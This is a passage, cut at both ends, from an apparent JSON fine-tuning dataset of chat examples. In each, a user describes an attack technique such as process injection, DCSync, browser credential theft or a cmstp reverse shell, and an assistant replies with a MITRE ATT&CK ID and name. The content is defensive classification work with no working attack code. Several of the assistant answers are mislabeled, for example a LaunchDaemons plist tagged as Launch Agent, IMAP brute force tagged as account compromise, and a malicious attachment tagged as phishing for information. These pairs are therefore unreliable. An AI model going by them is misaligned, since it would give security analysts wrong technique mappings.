                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker drops a malicious .exe file and uses CreateRemoteThread to inject the portable executable into a running svchost process."
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries reuse publicly available exploit code to gain initial foothold and later incorporate it into their toolset."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses a signed Microsoft build tool to execute arbitrary commands, achieving proxy execution via msbuild."
            },
            {
                "role": "assistant",
                "content": "T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A stealthy trojan repeatedly queries DNS for domain names that include a base64‑encoded payload, using successful resolutions to fetch additional modules."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages a rogue domain controller to obtain replication privileges and pull user password hashes."
            },
            {
                "role": "assistant",
                "content": "T1207 - Rogue Domain Controller"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An actor leverages DNS CNAME chaining to dynamically redirect traffic to a remote server that hosts malicious updates."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code uses the victim’s public key to encrypt exfiltrated files, which can only be decrypted by the attacker’s private key."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exfiltrate data by accessing the organization's Azure Blob storage with compromised service account keys."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries utilized a compromised Azure Blob storage container to stage data for later exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors edit the saved game state files on a gaming server to grant themselves in‑game advantages."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses a client-side exploit to extract cached credentials from a browser's password manager."
            },
            {
                "role": "assistant",
                "content": "T1212 - Exploitation for Credential Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker places a .plist file in /Library/LaunchDaemons that runs a PowerShell script whenever the system boots."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a brute‑force attack against the organization's IMAP server to gain unauthorized access to user email accounts."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware calls the GetUserNameW Windows API to retrieve the name of the account under which it is executing."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware establishes a command‑and‑control channel by polling a Gmail account and retrieving encoded instructions from unread emails."
            },
            {
                "role": "assistant",
                "content": "T1071.003 - Application Layer Protocol: Mail Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers repackaged the malware with a custom packer, encrypting the binary before deployment."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware leveraged Google Cloud Shell to run commands on the victim's GCP resources, enabling persistent remote access."
            },
            {
                "role": "assistant",
                "content": "T1021.007 - Remote Services: Cloud Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages a signed but malicious driver, installing it to run automatically during system initialization."
            },
            {
                "role": "assistant",
                "content": "T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing DCSync, the attacker extracted all domain account password hashes without triggering typical alerting mechanisms."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages a compromised service principal to fetch data from the victim’s Google Cloud Storage bucket."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a malicious browser extension to record keystrokes entered into web forms."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor compromises a VPS by uploading a malicious backdoor via a vulnerable web application hosted on the server."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor runs 'docker network ls' to discover container network interfaces and attached networks."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Utilizing a proxy that works through NAT, the attacker bridges the network boundary and forwards traffic to compromised machines inside the target network."
            },
            {
                "role": "assistant",
                "content": "T1599.001 - Network Boundary Bridging: Network Address Translation Traversal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker captures SMB authentication traffic with a man‑in‑the‑middle tool to obtain NTLM hashes."
            },
            {
                "role": "assistant",
                "content": "T1557.001 - Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers removed IAM role change records from Oracle Cloud Infrastructure logs to hide privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1562.008 - Impair Defenses: Disable or Modify Cloud Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker automates login tries on the target's admin interface using credential pairs harvested from a recent data breach."
            },
            {
                "role": "assistant",
                "content": "T1110.004 - Brute Force: Credential Stuffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executed a script that called the LDAP API to pull domain group details for permission discovery."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries used stolen credentials to connect to \\\\target-machine\\ADMIN$ share and copied malicious scripts for execution."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder accesses the /sys/firmware/dmi/tables/DMI file on a Linux host to harvest raw firmware data for analysis."
            },
            {
                "role": "assistant",
                "content": "T1592.003 - Gather Victim Host Information: Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the Windows \"Ease of Access\" \"On-Screen Keyboard\" to run a PowerShell command each time the keyboard is opened."
            },
            {
                "role": "assistant",
                "content": "T1546.008 - Event Triggered Execution: Accessibility Features"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors manipulate the SID-History field in Active Directory to grant themselves elevated rights."
            },
            {
                "role": "assistant",
                "content": "T1134.005 - Access Token Manipulation: SID-History Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages an internal web proxy to bounce traffic, evading network detection."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat modifies the LoadAppInit_DLLs flag and appends a malicious DLL to the AppInit_DLLs list, achieving persistence."
            },
            {
                "role": "assistant",
                "content": "T1546.010 - Event Triggered Execution: AppInit DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious browser extension captures all form inputs submitted on websites."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sent a file called \"notes.txt.scr\" that appeared as a text file but launched a screen saver executable."
            },
            {
                "role": "assistant",
                "content": "T1036.007 - Masquerading: Double File Extension"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor is configured by appending commands to the rc script, causing it to start automatically on boot."
            },
            {
                "role": "assistant",
                "content": "T1037.004 - Boot or Logon Initialization Scripts: RC Scripts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor utilizes in-memory execution techniques, specifically reflective loading, to execute shellcode without leaving artifacts."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilizes the 'Get-NetDomain' function from the PowerSploit toolkit to discover trust relationships."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries achieve persistence by installing a kernel-mode driver that hooks LSASS during system startup."
            },
            {
                "role": "assistant",
                "content": "T1547.008 - Boot or Logon Autostart Execution: LSASS Driver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool runs a Wi‑Fi scanning command to identify reachable access points for later exploitation."
            },
            {
                "role": "assistant",
                "content": "T1016.002 - System Network Configuration Discovery: Wi-Fi Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor disables a cloud VM by issuing a PowerShell script that calls Azure's Remove-AzVM cmdlet."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious Microsoft Word macro runs a VBScript that launches a backdoor executable on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor exfiltrates data by encoding it within legitimate outbound web traffic to a CDN used by the victim organization."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker sends a deceptive email with an attachment titled 'Employee_Handbook.doc' that leverages a zero‑day exploit in the document viewer to install spyware."
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Phishing for Information: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uploads stolen database files to a public file‑sharing site using HTTP POST requests."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary injects code by editing the LaunchDaemons plist files to execute a payload at boot."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group compromised a software dependency manager's server, altering package metadata to point to a malicious payload hosted on a remote server."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries employ domain reputation services to query the victim's domain reputation score, registrar, and registration history as part of reconnaissance."
            },
            {
                "role": "assistant",
                "content": "T1590.001 - Gather Victim Network Information: Domain Properties"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages a legitimate web API to store and retrieve C2 messages, with the infected host polling the API endpoint as a dead‑drop resolver."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Web Service: Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary exploits a misconfigured AWS Lambda function to upload and execute a malicious payload, leveraging the function's execution role to access other services."
            },
            {
                "role": "assistant",
                "content": "T1648 - Serverless Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious link is shared in a Slack channel, masquerading as a helpful resource; the user clicks it, causing the execution of a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - User Execution: Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software abuses the Windows \"AlwaysInstallElevated\" policy to install a signed driver with admin rights."
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor runs cmstp.exe with the /s switch pointing to a remote .inf that loads an encoded script to spawn a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1218.003 - System Binary Proxy Execution: CMSTP"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The agent uses the NtQueryInformationProcess function to retrieve the ProcessDebugPort and aborts if it returns a non‑NULL value."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group exploited an insecure API endpoint to upload a defaced HTML page, which replaced the original site content."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a symmetric encryption layer over HTTP POST requests to hide command traffic from IDS signatures."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary abuses Odbcconf to modify ODBC driver settings, pointing them to a payload that runs with the privileges of the hosting process."
            },
            {
                "role": "assistant",
                "content": "T1218.008 - System Binary Proxy Execution: Odbcconf"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses a compromised user’s login script to call a benign-looking executable, which in turn runs a hidden command to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1202 - Indirect Command Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs a PowerShell script that decodes a Base64‑encoded command before executing it on the victim host."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting the OfficeTest.exe component, the threat executes a malicious DLL during Office application initialization."
            },
            {
                "role": "assistant",
                "content": "T1137.002 - Office Application Startup: Office Test"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries scrape a members‑only cybersecurity forum for posts discussing the target's recent security incidents."
            },
            {
                "role": "assistant",
                "content": "T1597 - Search Closed Sources"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code adds a task to the Windows Task Scheduler to run a Python script that uploads screenshots to a dropbox folder every 30 minutes."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious background service queries the Chrome 'Login Data' file to retrieve saved usernames and passwords."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious app uses the Win32 API to set a low-level keyboard hook, capturing every keystroke entered into any foreground window."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder performed a DNS hijacking attack by altering NS records to point to malicious name servers."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group executed a supply‑chain attack, inserting a malicious module that requests a new code‑signing certificate from the victim’s CA using stolen credentials."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential‑stealing tool also gathers locally stored email archives for credential reuse."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through registry manipulation, the adversary sets the file association for .zip archives to a malicious unzip utility, triggering code execution on extraction."
            },
            {
                "role": "assistant",
                "content": "T1546.001 - Event Triggered Execution: Change Default File Association"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary exploits a misconfiguration to automatically generate a domain account during login scripts."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the pre‑boot environment, malicious code is fetched via TFTP from an attacker‑controlled server to compromise the system."
            },
            {
                "role": "assistant",
                "content": "T1542.005 - Pre-OS Boot: TFTP Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses net user command to set up a new account with a weak password."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary injects a phishing page that captures the user's web session cookie and uses it to impersonate the user on the target service."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Use Alternate Authentication Material: Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant records the system's boot time and only initiates its command-and-control communication after a delay of several days."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Virtualization/Sandbox Evasion: Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers performed a social engineering call to obtain MFA codes from users, allowing them to log into cloud accounts."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor harvests credential data by deploying a keylogger on compromised workstations to capture login credentials."
            },
            {
                "role": "assistant",
